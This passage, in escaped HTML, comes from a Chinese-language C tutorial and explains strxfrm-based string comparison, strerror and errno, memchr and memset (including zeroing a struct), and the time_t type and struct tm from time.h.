class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emy_strcoll\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s1, \u003cspan class=\"type\"\u003echar\u003c/span\u003e* s2)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e len1 = strxfrm(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, s1, \u003cspan class=\"number\"\u003e0\u003c/span\u003e) + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e len2 = strxfrm(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, s2, \u003cspan class=\"number\"\u003e0\u003c/span\u003e) + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *d1 = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(len1);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *d2 = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(len2);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e strxfrm(d1, s1, len1);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e strxfrm(d2, s2, len2);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e result = \u003cspan class=\"built_in\"\u003estrcmp\u003c/span\u003e(d1, d2);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003efree\u003c/span\u003e(d2);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003efree\u003c/span\u003e(d1);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e result;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,先为两个进行比较的本地化字符串,分配转换后的存储空间,使用\u003ccode\u003estrxfrm()\u003c/code\u003e将它们转为可比较的形式,再用\u003ccode\u003estrcmp()\u003c/code\u003e进行比较。\u003c/p\u003e\u003ch4 id=\"strerror\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#strerror\" class=\"headerlink\" title=\"strerror()\"\u003e\u003c/a\u003estrerror()\u003c/h4\u003e\u003cp\u003e\u003ccode\u003estrerror()\u003c/code\u003e函数返回特定错误的说明字符串。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e *\u003cspan class=\"title function_\"\u003estrerror\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e errornum)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它的参数是错误的编号,由\u003ccode\u003eerrno.h\u003c/code\u003e定义。返回值是一个指向说明字符串的指针。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 No such file or directory\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, strerror(\u003cspan class=\"number\"\u003e2\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例输出2号错误的说明字符“No such file or directory“。\u003c/p\u003e\u003cp\u003e下面的例子是自定义报错信息。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;errno.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e FILE* fp = fopen(\u003cspan class=\"string\"\u003e\u0026#34;NONEXISTENT_FILE.TXT\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (fp == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* errmsg = strerror(errno);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Error %d opening file: %s\\n\u0026#34;\u003c/span\u003e, errno, errmsg);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,通过\u003ccode\u003estrerror(errno)\u003c/code\u003e拿到当前的默认报错信息,其中\u003ccode\u003eerrno\u003c/code\u003e是\u003ccode\u003eerrno.h\u003c/code\u003e定义的宏,表示当前的报错编号。然后,再输出一条自定义的报错信息。\u003c/p\u003e\u003ch3 id=\"内存操作函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%86%85%E5%AD%98%E6%93%8D%E4%BD%9C%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"内存操作函数\"\u003e\u003c/a\u003e内存操作函数\u003c/h3\u003e\u003cp\u003e以下内存操作函数,详见《内存管理》一章。\u003c/p\u003e\u003cul\u003e\u003cli\u003ememcpy():内存复制函数。\u003c/li\u003e\u003cli\u003ememmove():内存复制函数(允许重叠)。\u003c/li\u003e\u003cli\u003ememcmp():比较两个内存区域。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"memchr\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#memchr\" class=\"headerlink\" title=\"memchr()\"\u003e\u003c/a\u003ememchr()\u003c/h4\u003e\u003cp\u003e\u003ccode\u003ememchr()\u003c/code\u003e用于在内存区域中查找指定字符。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* \u003cspan class=\"title function_\"\u003ememchr\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e* s, \u003cspan class=\"type\"\u003eint\u003c/span\u003e c, \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e n)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受三个参数,第一个参数是内存区域的指针,第二个参数是所要查找的字符,第三个参数是内存区域的字节长度。\u003c/p\u003e\u003cp\u003e一旦找到,它就会停止查找,并返回指向该位置的指针。如果直到检查完指定的字节数,依然没有发现指定字符,则返回 NULL。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e *str = \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e *p;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ep = \u003cspan class=\"built_in\"\u003ememchr\u003c/span\u003e(str, \u003cspan class=\"string\"\u003e\u0026#39;!\u0026#39;\u003c/span\u003e, \u003cspan class=\"number\"\u003e13\u003c/span\u003e); \u003cspan class=\"comment\"\u003e// p 指向感叹号的位置\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch4 id=\"memset\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#memset\" class=\"headerlink\" title=\"memset()\"\u003e\u003c/a\u003ememset()\u003c/h4\u003e\u003cp\u003e\u003ccode\u003ememset()\u003c/code\u003e将一段内存全部格式化为指定值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* \u003cspan class=\"title function_\"\u003ememset\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* s, \u003cspan class=\"type\"\u003eint\u003c/span\u003e c, \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e n)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它的第一个参数是一个指针,指向内存区域的开始位置,第二个参数是待写入的字符值,第三个参数是一个整数,表示需要格式化的字节数。它返回第一个参数(指针)。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(p, \u003cspan class=\"string\"\u003e\u0026#39; \u0026#39;\u003c/span\u003e, N);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,p 是一个指针,指向一个长度为 N 个字节的内存区域。\u003ccode\u003ememset()\u003c/code\u003e将该块内存区域的每个字节,都改写为空格字符。\u003c/p\u003e\u003cp\u003e下面是另一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e string1[\u003cspan class=\"number\"\u003e15\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;BBBBBBBBBBBBBB\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 bbbbbbbBBBBBBB\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, (\u003cspan class=\"type\"\u003echar\u003c/span\u003e*) \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(string1, \u003cspan class=\"string\"\u003e\u0026#39;b\u0026#39;\u003c/span\u003e, \u003cspan class=\"number\"\u003e7\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003ememset()\u003c/code\u003e的一个重要用途,就是将数组成员全部初始化为0。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(arr, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(arr));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是将 Struct 结构都初始化为0的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ebanana\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e ripeness;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *peel_color;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e grams;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ebanana\u003c/span\u003e \u003cspan class=\"title\"\u003eb\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(\u0026amp;b, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eb.ripeness == \u003cspan class=\"number\"\u003e0.0\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// True\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eb.peel_color == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// True\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eb.grams == \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// True\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例,将 Struct banana 的实例 b 的所有属性都初始化为0。\u003c/p\u003e\u003ch3 id=\"其他函数-1\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%85%B6%E4%BB%96%E5%87%BD%E6%95%B0-1\" class=\"headerlink\" title=\"其他函数\"\u003e\u003c/a\u003e其他函数\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* \u003cspan class=\"title function_\"\u003ememset\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* a, \u003cspan class=\"type\"\u003eint\u003c/span\u003e c, \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e n)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003esize_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrlen\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* s)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"time-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#time-h\" class=\"headerlink\" title=\"time.h\"\u003e\u003c/a\u003etime.h\u003c/h2\u003e\u003ch3 id=\"time-t\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#time-t\" class=\"headerlink\" title=\"time_t\"\u003e\u003c/a\u003etime_t\u003c/h3\u003e\u003cp\u003etime_t 是一个表示时间的类型别名,可以视为国际标准时 UTC。它可能是浮点数,也可能是整数,Unix 系统一般是整数。\u003c/p\u003e\u003cp\u003e许多系统上,time_t 表示自时间纪元(time epoch)以来的秒数。Unix 的时间纪元是国际标准时 UTC 的1970年1月1日的零分零秒。time_t 如果为负数,则表示时间纪元之前的时间。\u003c/p\u003e\u003cp\u003etime_t 一般是32位或64位整数类型的别名,具体类型取决于当前系统。如果是32位带符号整数,time_t 可以表示的时间到 2038年1月19日03:14:07 UTC 为止;如果是32位无符号整数,则表示到2106年。如果是64位带符号整数,可以表示\u003ccode\u003e-2930\u003c/code\u003e亿年到\u003ccode\u003e+2930\u003c/code\u003e亿年的时间范围。\u003c/p\u003e\u003ch3 id=\"struct-tm\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#struct-tm\" class=\"headerlink\" title=\"struct tm\"\u003e\u003c/a\u003estruct tm\u003c/h3\u003e\u003cp\u003estruct tm 是一个数据结构,用来保存时间的各个组成部分,比如小时、分钟、秒、日、月、年等。下面是它的结构。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan 